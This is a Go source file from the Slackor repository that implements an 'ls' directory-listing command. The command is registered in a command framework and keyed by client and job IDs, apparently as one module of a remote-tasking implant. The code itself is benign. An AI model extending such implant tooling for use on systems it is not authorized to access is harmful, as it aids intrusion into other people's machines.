github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/ls.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"fmt"
     6  	"io/ioutil"
     7  
     8  	"github.com/dustin/go-humanize"
     9  	"github.com/n00py/Slackor/pkg/command"
    10  )
    11  
    12  // List the files in the given directory
    13  type List struct{}
    14  
    15  // Name is the name of the command
    16  func (l List) Name() string {
    17  	return "ls"
    18  }
    19  
    20  // Run lists the files in the given directory
    21  func (l List) Run(clientID string, jobID string, args []string) (string, error) {
    22  	if len(args) > 1 {
    23  		return "", errors.New("ls takes 0 or 1 argument")
    24  	}
    25  	location := "./"
    26  	if len(args) == 1 {
    27  		location = args[0]
    28  	}
    29  	files, err := ioutil.ReadDir(location)
    30  	if err != nil {
    31  		return "", err
    32  	}
    33  	var result string
    34  	for _, f := range files {
    35  		size := humanize.IBytes(uint64(f.Size()))
    36  		timestamp := f.ModTime()
    37  		ts := timestamp.Format("01/02/2006 3:04:05 PM MST")
    38  		dir := "            "
    39  		if f.IsDir() {
    40  			dir = "   <DIR>    "
    41  		}
    42  		result = result + fmt.Sprintf("%-28v", ts) + dir + fmt.Sprintf("%-9v", size) + "     " + f.Name() + "\n"
    43  	}
    44  	return result, nil
    45  }
    46  
    47  func init() {
    48  	command.RegisterCommand(List{})
    49  }